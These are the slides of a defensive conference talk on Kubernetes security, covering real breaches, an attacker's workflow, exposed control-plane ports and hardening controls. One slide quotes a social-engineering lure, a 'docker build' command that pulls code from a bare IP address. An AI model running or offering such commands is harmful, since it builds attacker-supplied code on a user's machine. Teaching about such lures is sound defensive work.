SHIP OF FOOLS

Shoring Up Kubernetes Security

@IanColdwater
WHO AM I?

My name is Ian Coldwater.

I do DevSecOps at Jamf Software, where I focus on container security and hardening cloud infrastructure.

I’m also an ethical hacker.

@IanColdwater
AS AN ATTACKER, I WANT TO PWN YOU.
IN THE BEGINNING...
WHAT'S A CONTAINER?
WHAT IS KUBERNETES?

- Kubernetes is an open-source system for automating deployment, scaling, and management of containerized applications. It groups containers that make up an application into logical units for easy management and discovery.
SOME CONSIDERATIONS

• Kubernetes has a very active community of contributors who are pushing changes very quickly. Security features have vastly improved in the last several releases.

• Older Kubernetes releases are still commonly found in production, and left a lot wide open by default.
IT'S COMPLICATED

- Defaults can vary widely across cloud providers and installers
- User installations can use different combinations of add-ons, plugins and integrated services, and many of those have insecure defaults too!
- Attack and defense can vary with individual configurations.
Security is Top Challenge for Kubernetes Users

- Security: 46%
- Networking: 42%
- Storage: 41%
- Monitoring: 38%
- Complexity: 37%
- Logging: 32%
- Reliability: 27%
- Scaling deployments based upon load: 23%
- Difficulty in choosing an orchestration solution: 22%
- Finding vendor support: 10%

Among organizations only deploying containers to on-premises servers, 54% cited storage as a challenge but only 9% cited scaling deployments based on load.

Source: The New Stack Analysis of Cloud Native Computing Foundation survey conducted in Fall 2017. Q. What are your challenges in using/deploying containers? (check all that apply). n=527. Note, only respondents managing containers with Kubernetes were included in the chart.
Tesla cloud resources are hacked to run cryptocurrency-mining malware

Crooks find poorly secured access credentials, use them to install stealth miner.

Just like many companies before it, weight loss program Weight Watchers suffered a small security breach after security researchers found a crucial server exposed on the Internet that was holding the configuration info for some of the company’s IT infrastructure.

The exposed server was a Kubernetes instance, a type of software for managing large IT networks and easily deploying app containers across multiple servers, usually on a cloud infrastructure.

**Weight Watchers ran a no-password Kubernetes instance**

Researchers from German cyber-security firm Kromtech discovered that Weight Watchers forgot to set a password for the administration console of one of its Kubernetes instances.

This granted anyone knowing where to look (port 10250) access to this servers, without the need to enter a username and password.
EVEN HACKERS AREN'T IMMUNE TO THIS

Capturing all the flags in BSidesSF CTF by pwning our infrastructure

**TLDR:** the challenges for the BsidesSF CTF were run in Docker containers on Kubernetes using Google Container Engine. Because of the two infrastructure issues, it was possible to exploit one of the early challenges, steal service account keys, and then use those keys to directly access flags. One of these problems was discovered (but not exploited) by a competitor.

Writeup: https://gist.github.com/tmc/8cd2364f7b6702ac6318c64a3d17e32d
GOOD NEWS AND BAD NEWS

- It is possible to secure your Kubernetes cluster.
- It's probably not going to come that way by default.
- You probably aren't going to be able to set it and forget it.
- Security doesn't begin or end there.
WHAT IS YOUR THREAT MODEL?

- What are you trying to protect?
- Who are you trying to protect it from?
- What capabilities do your adversaries have?
- What capabilities do you have to defend against them?
Hackers don't give a shit:

- About your project’s scope
- It's managed by a third party
- It's a legacy system
- It's "too critical to patch"
- About your outage windows
- About your budget
- You've always done it that way
- About your Go-Live Date
- It's only a proof of concept
- About Non-Disclosure Agreements
- It wasn't a requirement in the contract
- It's an internal system
- It's really hard to change
- It's due for replacement
- You're not sure how to fix it
- It's handled in the Cloud
- About your Risk Register entry
- The vendor doesn't support that configuration
- It's an interim solution
- It's [insert standard here] compliant
- It's encrypted on disk
- The cost benefit doesn't stack up
- Nobody else could figure that out
- You can't explain the risk to "The Business"
- You've got other priorities
- About your faith in the competence of your internal users
- You don't have a business justification
- You can't show Return on Investment
- You contracted out that risk

Kiwicon III
28th & 29th November 2009

New Zealand's Hacker con - Wellington
AN ATTACKER'S WORKFLOW

- Discovery
- Enumeration
- Getting In
- Post-Exploitation
  - Privilege Escalation
  - Lateral Movement
- Rinse and Repeat

@ianColdwater
DEFENDERS THINK IN LISTS. ATTACKERS THINK IN GRAPHS.

What’s in your graph?

@IanColdwater
goo.gl/imExzC
KUBERNETES THREAT MODEL

- External attacker
- Application or container compromise
- Compromised user or credentials
EXTERNAL ATTACKERS
EXTERNALLY VISIBLE PORTS

- 2379/tcp open | etcd
- 4194/tcp open | cAdvisor
- 443/tcp open | API Server (sometimes this is port 6443 or 8443)
- 8080/tcp open | Insecure API Server
- 10250/tcp open | kubelet
- 10255/tcp open | kubelet (read only)
- ???/open | various network plugins

@ianColdwater
PREVENTING EXTERNAL ATTACKERS

- Don't leave your ports open if you don't have to
- Make sure that all management ports that are visible externally require authentication
- Rotate keys regularly, and make sure only to give admin when needed
- Limit SSH access to Kubernetes nodes
USER OR CREDENTIAL COMPROMISE
PREVENTING USER COMPROMISE

• Don’t fall for social engineering!

• You are not immune, especially if you think you are.
Will you build my **hello-world docker** container?

Simply use:

```
docker build http://139.59.42.102/git/hello-world.git
```
PREVENTING CREDENTIAL COMPROMISE

- Keep credentials encrypted and limit access to them.
- Handle secrets safely.
CONTAINER COMPROMISE
BEWARE —

Backdoored images downloaded 5 million times finally removed from Docker Hub

17 images posted by a single account over 10 months may have generated $90,000.

DAN GOODIN - 6/13/2018, 11:10 PM
PREVENTING CONTAINER COMPROMISE

- Write your own applications as securely as possible.
- Treat other people’s code with caution!
- Run static code analysis on your applications and containers to check for vulnerabilities. You can use open source tools for this such as Clair by CoreOS.
- If you find vulnerabilities, patch or mitigate them.
KUBERNETES CONTROL PLANE
PREVENTING PRIVILEGE ESCALATION

- Pod Security Policies are good for this.
- Don't run your containers as root!
- You can literally set `allowPrivilegeEscalation: false`.
PREVENTING LATERAL MOVEMENT

- Admission Controllers can be useful for this.
- Segment your networks and limit communication to only where necessary.
CONTAINER BREAKOUTS

shit just got real

@lanColdwater
CONTROLS

- Network Policies
- Admission Controllers
- Role-Based Access Control
- Pod Security Policies
- Resource Quotas
- Logging and Monitoring
DEFENSE IN DEPTH

- Reduce your attack surface
- Limit your blast radius
PRINCIPLE OF LEAST PRIVILEGE

- Limit access, traffic, communication to only what is needed
- Really. Do this with everything.
GENERAL RECOMMENDATIONS

• If you can update, update. If you can’t update, mitigate.

• Secure defaults are very important!

• Be careful with your secrets

• Log and monitor...outside your cluster.
TL;DR

- A lot of this is standard security advice.
- Practice good cyber hygiene, and get the basics right!
YOU GOT THIS!

You can do it! I believe in you!
RESOURCES

- securing your cluster - goo.gl/gE9sj6
- hacking and hardening kubernetes by example - goo.gl/QJhsDb
- a hacker's guide to kubernetes and the cloud - goo.gl/CZgG6V
- preventing attacks at scale - goo.gl/Y7EeU7
- shipping in pirate-infested waters - goo.gl/TRwXCu
- kubernetes security best practices - goo.gl/SM5SCc
- continuous security - goo.gl/1L3D1x
- CIS benchmarks - goo.gl/v2ZWXR
- 11 ways (not) to get hacked - goo.gl/qW7Fcs
- github.com/kelseyhightower/nocode - the best way to write secure and reliable applications!

@IanColdwater